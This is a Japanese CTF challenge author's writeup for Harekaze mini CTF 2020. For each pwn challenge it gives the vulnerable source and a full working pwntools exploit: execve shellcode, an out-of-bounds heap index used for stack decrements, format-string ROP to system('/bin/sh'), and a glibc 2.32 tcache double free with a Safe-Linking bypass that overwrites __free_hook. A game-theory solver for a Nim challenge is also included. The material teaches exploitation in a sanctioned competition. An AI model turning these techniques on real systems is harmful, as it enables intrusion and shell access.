Harekaze mini CTF 2020 Writeup
Pwn4問とMisc1問の作問をしました。
[Pwn] Shellcode
シェルコードを書く問題ですがコピペは避けたかったのでよくあるスタックを使ったシェルコードを避けるためにrspを潰して代わりに"/bin/sh"を与えています。
#include <stdio.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> char binsh[] = "/bin/sh"; int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Present for you! \"/bin/sh\" is at %p\n", binsh); puts("Execute execve(\"/bin/sh\", NULL, NULL)"); char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); // Clear rsp and rbp memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6); read(0, code + 6, 0x100); mprotect(code, 0x1000, PROT_READ | PROT_EXEC); ((void (*)())(code))(); return 0; }
問題にあるようにexecve("/bin/sh", NULL, NULL)
を実行すればいいです。execve
のシステムコール番号は59なので(ausyscall x86_64 execve
)、以下のようにレジスタを設定してからsyscall
を呼ぶとシェルが起動できます。(参考:man syscall
)
よってシェルコードはこのようになります。
mov rdi, 0x404060 mov rsi, 0 mov rdx, 0 mov rax, 0x3b syscall
$ ./exploit.py [+] Opening connection to 20.48.83.165 on port 20005: Done [*] Switching to interactive mode Present for you! "/bin/sh" is at 0x404060 Execute execve("/bin/sh", NULL, NULL) $ cat /home/shellcode/flag HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
[Misc] NM Game
$ nc 20.48.84.64 20001 Be the last to take a pebble! Creating a new problem... 25 How many pebbles do you want to take? [1-3]: 1 The opponent took 1 from 0 23 How many pebbles do you want to take? [1-3]: 3 The opponent took 3 from 0 17 How many pebbles do you want to take? [1-3]: 1 The opponent took 1 from 0 15 How many pebbles do you want to take? [1-3]: 3 The opponent took 1 from 0 11 How many pebbles do you want to take? [1-3]: 3 The opponent took 1 from 0 7 How many pebbles do you want to take? [1-3]: 3 The opponent took 2 from 0 2 How many pebbles do you want to take? [1-2]: 2 Won! Remaining games: 14 Creating a new problem... 27 25 Choose a heap [0-1]: 0 How many pebbles do you want to take? [1-3]: 2 The opponent took 1 from 0 24 25 Choose a heap [0-1]:
接続すると21言ったら負けゲームのようなゲームが始まります(今回は0を言ったら勝ち)。このゲームには取った後の数字が4の倍数になるようにすれば必ず勝てます。これは、
- 4の倍数から1~3を1度取り除くことでは4の倍数を再び作ることはできない
- 4の倍数でない数から1~3を1度取り除くことで4の倍数を作ることができる
- 勝ちの状態は0で4の倍数
ため常に4の倍数を取り続けることができ、最終的にその4の倍数は0になって勝つことができます。ただこのゲームはこれでは終わらずに山が2つに増え、最終的には山が15個まで増えます。
ここからはある山が4の倍数である状態を0と表し、その他の数を次の4の倍数までの差として表すことにします。例えば、24は0, 19は3です。これをGrundy数またはNimberと言います(厳密にはmexから定義されます)。なぜそうするかは後で考えるとして山ごとのGrundy数をXORしてみましょう。例えば、23, 30, 12の山があったとしてになります。この数は以下の条件を満たします。
- Grundy数のXORが0以外の時、1つの山から1~3を取り除いてGrundy数のXORを0にすることができる(例:23, 30, 12 -> 23, 30, 9)
- Grundy数のXORが0の時、1つの山から1~3を取り除いてGrundy数のXORを0にすることができない(例:23, 30, 9のGrundy数3, 2, 1を変えずに手番を回すことができない)
- 勝ちの状態は全ての山が0でその時のGrundy数のXORは0
よって常にGrundy数のXORが0になるように保つようにすれば最終的には全ての山が0になって勝つことができます。XORを使うのは上の条件を満たすためですが、感覚的には1つの山から数を抜く時に必ずそのGrundy数が変わり、結果全体のXORの値も変化するため2つ目の条件を満たすことができるかつ同じゲームの和は0(先手の真似をすれば後手の勝ち)になるからだと思っています(Nimber - Wikipediaに証明のようなものがありますがよくわかりません)。
from pwn import * s = remote('20.48.84.64', 20001) for i in range(15): s.recvuntil('...\n') while True: nums = list(map(lambda x: int(x), s.recvline(False).decode('ascii').split(' '))) grundy = 0 for num in nums: grundy ^= num % 4 for index, num in enumerate(nums): choice = (num - (num^grundy)) % 4 if num - choice >= 0: break if i > 0: s.sendlineafter(b']: ', bytes(f'{index}', 'ascii')) s.sendlineafter(b']: ', bytes(f'{choice}', 'ascii')) res = s.recvline(False) if res == b'Won!': s.recvline() break s.interactive()
$ ./solve.py [+] Opening connection to 20.48.84.64 on port 20001: Done [*] Switching to interactive mode Congratulations! Here is the flag: HarekazeCTF{pe6b1y_qRundY_peb6l35} [*] Got EOF while reading in interactive
[Pwn] NM Game Extreme
見た目はNM Gameと同じですが問題数が400と多いのと、よく見ると問題ごとに1秒のsleepがある一方300秒のタイムアウトがalart(300)
でかけられているので正攻法(NM Gameの方法)では解けません、pwnなので。脆弱性は山を選択する時にインデックスが有効なものか確認していないことです。これによってスタック内の変数に1~3の減算をすることができるのでremaining_games
を1にしてからn
を0に変えてループを抜けることでフラグを得られます。
#include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #define min(a,b) ((a) < (b) ? (a) : (b)) #define GAMES 400 #define MAX_GAME_SIZE 15 void init_game(int *nums, int n) { for (int i = 0; i < n; i++) { nums[i] = (rand() % 50) + 20; } } void print_state(int *nums, int n) { for (int i = 0; i < n; i++) { printf("%d%c", nums[i], " \n"[i==n-1]); } } bool is_finished(int *nums, int n) { bool finished = true; for (int i = 0; i < n; i++) { finished &= nums[i] == 0; } return finished; } void opponent_action(int *nums, int n, int *index, int *num) { do { *index = rand() % n; } while (nums[*index] == 0); *num = (rand() % min(3, nums[*index])) + 1; } int main(void) { int nums[MAX_GAME_SIZE]; int choice; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); srand(time(NULL)); alarm(300); puts("Be the last to take a pebble!"); int remaining_games = GAMES; while (remaining_games) { puts("Creating a new problem..."); sleep(1); int n = min(MAX_GAME_SIZE, GAMES - remaining_games + 1); init_game(nums, n); bool won = false; while (!is_finished(nums, n)) { print_state(nums, n); int index; if (n == 1) { index = 0; } else { do { printf("Choose a heap [0-%d]: ", n - 1); scanf("%d", &index); } while (nums[index] == 0); } do { printf("How many pebbles do you want to take? "); if (nums[index] > 1) { printf("[1-%d]: ", min(3, nums[index])); } else { printf("[1]: "); } scanf("%d", &choice); } while (choice < 1 || min(3, nums[index]) < choice); nums[index] -= choice; if (is_finished(nums, n)) { won = true; break; } opponent_action(nums, n, &index, &choice); printf("The opponent took %d from %d\n", choice, index); nums[index] -= choice; } if (won) { remaining_games--; puts("Won!"); } else { printf("You lost :("); } printf("Remaining games: %d\n", remaining_games); } FILE *fp = fopen("flag", "r"); char flag[0x40] = {}; fread(flag, 0x40, 1, fp); printf("Congratulations! Here is the flag: %s", flag); return 0; }
from pwn import * s = remote('20.48.84.13', 20003) s.recvuntil('...\n') while True: num = int(s.recvline(False)) choice = max(1, num % 4) s.sendlineafter(']: ', bytes(f'{choice}', 'ascii')) res = s.recvline(False) if res == b'Won!': break; for i in range(132): s.sendlineafter(']: ', '-4') s.sendlineafter(']: ', '3') s.sendlineafter(']: ', '-4') s.sendlineafter(']: ', '2') while True: s.sendlineafter(']: ', '-3') s.sendline(chr(s.recvuntil(']: ')[-4])) if s.recvline(False) == b'Won!': break s.interactive()
$ ./exploit.py [+] Opening connection to 20.48.84.13 on port 20003: Done [*] Switching to interactive mode Remaining games: 0 Congratulations! Here is the flag: HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n} [*] Got EOF while reading in interactive
[Pwn] Kodama
FSBのあるprintfが2回呼ばれています。PIEが有効なため1回目は"%N$p"を使ってレジスタやスタックから諸々のアドレスをリークするとして、シェルを起動するにはあと1回では不十分です。なのでまずはi
を書き換えることでループの回数を増やして任意回数使えるようにします。あとはスタックにある戻り番地からROPを組んでからループ回数を戻してシェルを起動します。
#include <stdio.h> int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); puts(" /$$ /$$ /$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$"); puts("| $$ /$$//$$__ $$| $$ | $$| $$ | $$ /$$__ $$ /$$__ $$ /$$__ $$| $$| $$"); puts(" \\ $$ /$$/| $$ \\ $$| $$ | $$| $$ | $$| $$ \\ $$| $$ \\ $$| $$ \\ $$| $$| $$"); puts(" \\ $$$$/ | $$$$$$$$| $$$$$$$$| $$$$$$$$| $$ | $$| $$ | $$| $$ | $$| $$| $$"); puts(" \\ $$/ | $$__ $$| $$__ $$| $$__ $$| $$ | $$| $$ | $$| $$ | $$|__/|__/"); puts(" | $$ | $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$| $$ | $$ "); puts(" | $$ | $$ | $$| $$ | $$| $$ | $$| $$$$$$/| $$$$$$/| $$$$$$/ /$$ /$$"); puts(" |__/ |__/ |__/|__/ |__/|__/ |__/ \\______/ \\______/ \\______/ |__/|__/"); puts(""); char buf[0x20]; for (int i = 0; i < 2; i++) { fgets(buf, 0x20, stdin); printf(buf); } return 0; }
from pwn import * s = remote('20.48.81.63', 20002) libc = ELF('./libc.so.6') s.recvuntil('\n\n') s.sendline('%4$p,%15$p') stack_addr, libc_addr = map(lambda x: int(x, 0x10), s.recvline(False).decode('ascii').split(',')) libc.address = libc_addr - 0x28cb2 log.info('libc base: %#x' % libc.address) log.info('stack address: %#x' % stack_addr) def fsb(target, value): payload = b'' payload += bytes(f'%{value if value > 0 else 0x100}x%10$hhn', 'ascii').ljust(0x10, b' ') payload += p64(target) s.sendline(payload) fsb(stack_addr - 1, 0xff) pop_rdi = libc.address + 0x2858f ret = libc.address + 0x28590 payload = b'' payload += p64(pop_rdi) payload += p64(next(libc.search(b'/bin/sh\0'))) payload += p64(ret) payload += p64(libc.symbols['system']) for i, b in enumerate(payload): fsb(stack_addr + 0x38 + i, b) fsb(stack_addr - 1, 0) s.interactive()
$ ./exploit.py [+] Opening connection to 20.48.81.63 on port 20002: Done [*] '/home/vagrant/ctf/harekazectf/harekaze-mini-ctf-2020-challenges/pwn/kodama/solution/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] libc base: 0x7fb96235e000 [*] stack address: 0x7ffeb312c4a0 [*] Switching to interactive mode ..... $ cat /home/kodama/flag HarekazeCTF{n0_moun741n_no_3ch0}
[Pwn] Safe Note
#include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MAX_NOTES 7 #define MAX_SIZE 0x70 void getnline(char *buf, int size) { int len = 0; for (int i = 0; i < size-1; i++) { len += read(0, buf + i, 1); if (buf[i] == '\n') { len--; break; } } buf[len] = '\0'; } int getint(void) { char buf[0x10]; getnline(buf, 0x10); return atoi(buf); } void error(char *message) { fprintf(stderr, "%s\n", message); exit(-1); } int menu(void) { puts("1. Alloc"); puts("2. Show"); puts("3. Move"); puts("4. Copy"); printf("> "); return getint(); } typedef struct { char *buf; unsigned int size; } Note; Note notes[MAX_NOTES]; void alloc(void) { printf("Index: "); unsigned int index = getint(); if (index >= MAX_NOTES) { error("Invalid index"); } printf("Size: "); unsigned int size = getint(); if (size == 0 || size > MAX_SIZE) { error("Invalid size"); } notes[index].buf = malloc(size); notes[index].size = size; printf("Content: "); getnline(notes[index].buf, size); } void show(void) { printf("Index: "); unsigned int index = getint(); if (index >= MAX_NOTES || notes[index].buf == NULL) { error("Invalid index"); } puts(notes[index].buf); } void copy(bool delete_src) { printf("Index (src): "); unsigned int src = getint(); if (src >= MAX_NOTES || notes[src].buf == NULL) { error("Invalid index"); } printf("Index (dest): "); unsigned int dest = getint(); if (dest >= MAX_NOTES) { error("Invalid index"); } char *p = NULL; if (notes[dest].buf == NULL) { p = malloc(notes[src].size); } else if (notes[dest].size >= notes[src].size) { p = notes[dest].buf; } else { error("No enough space"); } memcpy(p, notes[src].buf, notes[src].size); if (delete_src) { free(notes[src].buf); notes[src].buf = NULL; } notes[dest].buf = p; notes[dest].size = notes[src].size; } int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); for (;;) { switch (menu()) { case 1: alloc(); break; case 2: show(); break; case 3: copy(true); break; case 4: copy(false); break; default: puts("Bye"); exit(0); } } return 0; }
libcのバージョンはlibc-2.32
$ ./libc.so.6 GNU C Library (Ubuntu GLIBC 2.32-0ubuntu3) release release version 2.32. Copyright (C) 2020 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Compiled by GNU CC version 10.2.0. libc ABIs: UNIQUE IFUNC ABSOLUTE For bug reporting instructions, please see: <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
4つの操作があります。
- Alloc: 0x70以下の領域を確保して内容を入力する
- Show: インデックスを指定して内容を表示する
- Move: 内容をsrcからdestにコピーしてsrcのバッファをfreeする
- Copy: 内容をsrcからdestにコピーする
Moveでsrcとdestが同じ時UAFを起こせます。libc-2.29からtcacheのdouble freeができなくなっていますがe->key
を潰せばできるようになるので(https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4205)、Moveでfreeした後にCopyで適当な値を書き込めばdouble freeできます。次にlibc-2.32から追加されたSafe Linkingをbypassしながら(方法は以下のコードのreveal
を見てください)heapのアドレスをリークして、double freeからchunkのサイズを変えることで大きなchunk(tcacheに入らないサイズ。0x500くらい)をfreeさせてlibcのアドレスをリークします。libc-2.32から(?)unsorted binsのアドレスの下位バイトが00になってリークが難しくなったので2つ大きなchunkをfreeしてから適当なサイズの領域を確保してunsorted binsからlarge binsに移すことでリークができるようになります。後はdouble freeを使って__free_hookをsystemに書き換えて終わり。(Copyでchunkの操作が比較的自由にできるので解法は他にも色々あります)
from pwn import * s = remote('20.48.83.103', 20004) libc = ELF('./libc.so.6') def alloc(index, size, content='A'): s.sendlineafter('> ', '1') s.sendlineafter('Index: ', str(index)) s.sendlineafter('Size: ', str(size)) s.sendlineafter('Content: ', content) def show(index): s.sendlineafter('> ', '2') s.sendlineafter('Index: ', str(index)) return s.recvline(False) def move(src, dest): s.sendlineafter('> ', '3') s.sendlineafter('(src): ', str(src)) s.sendlineafter('(dest): ', str(dest)) def copy(src, dest): s.sendlineafter('> ', '4') s.sendlineafter('(src): ', str(src)) s.sendlineafter('(dest): ', str(dest)) def reveal(ptr): for shift in range(0, 0x30, 0xc)[::-1]: ptr = (0xfff << shift & ptr) >> 0xc ^ ptr return ptr def protect(ptr): return ptr ^ heap_base >> 0xc alloc(0, 0x18) alloc(1, 0x18) move(0, 0) for i in range(4): copy(1, 0) move(0, 0) heap_base = reveal(u64(show(0).ljust(8, b'\0'))) - 0x2a0 log.info('heap base: %#x' % heap_base) alloc(1, 0x28, p64(0) * 4 + p64(protect(heap_base + 0x830))[:-2]) alloc(1, 0x70) for i in range(9): alloc(2, 0x70) alloc(2, 0x28, p64(0) * 4 + p64(protect(heap_base + 0x310))[:-2]) alloc(2, 0x70) for i in range(9): alloc(3, 0x70) alloc(0, 0x28) alloc(0, 0x18, p64(protect(heap_base + 0x300))) alloc(0, 0x18) alloc(0, 0x18, p64(0) + p64(0x501)) alloc(0, 0x18, p64(0) + p64(0x501)) alloc(0, 0x18) move(1, 3) move(2, 3) alloc(1, 0x28) libc.address = u64(show(0).ljust(8, b'\0')) - 0x1e4030 log.info('libc base: %#x' % libc.address) alloc(0, 0x18) alloc(1, 0x18, p64(0) * 2) move(0, 0) for i in range(2): copy(1, 0) move(0, 0) alloc(0, 0x18, p64(protect(libc.symbols['__free_hook']))) alloc(0, 0x18) alloc(0, 0x18, p64(libc.symbols['system'])) alloc(0, 0x18, '/bin/sh') move(0, 0) s.interactive()
$ ./exploit.py [+] Opening connection to 20.48.83.103 on port 20004: Done [*] '/home/vagrant/ctf/harekazectf/harekaze-mini-ctf-2020-challenges/pwn/safe-note/solution/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] heap base: 0x55e7bb6af000 [*] libc base: 0x7f25aee7b000 [*] Switching to interactive mode $ cat /home/safenote/flag HarekazeCTF{7c4ch3_1s_5ti1l_9re47}
感想
個人的にrev partが嫌いで本質に集中したいのでソースコードを全問題につけたのが割と好評でよかったです。mini CTFではなくても現状このぐらいの難易度の問題しか作れないので難しい問題作れるようになりたいですね(毎年言ってる)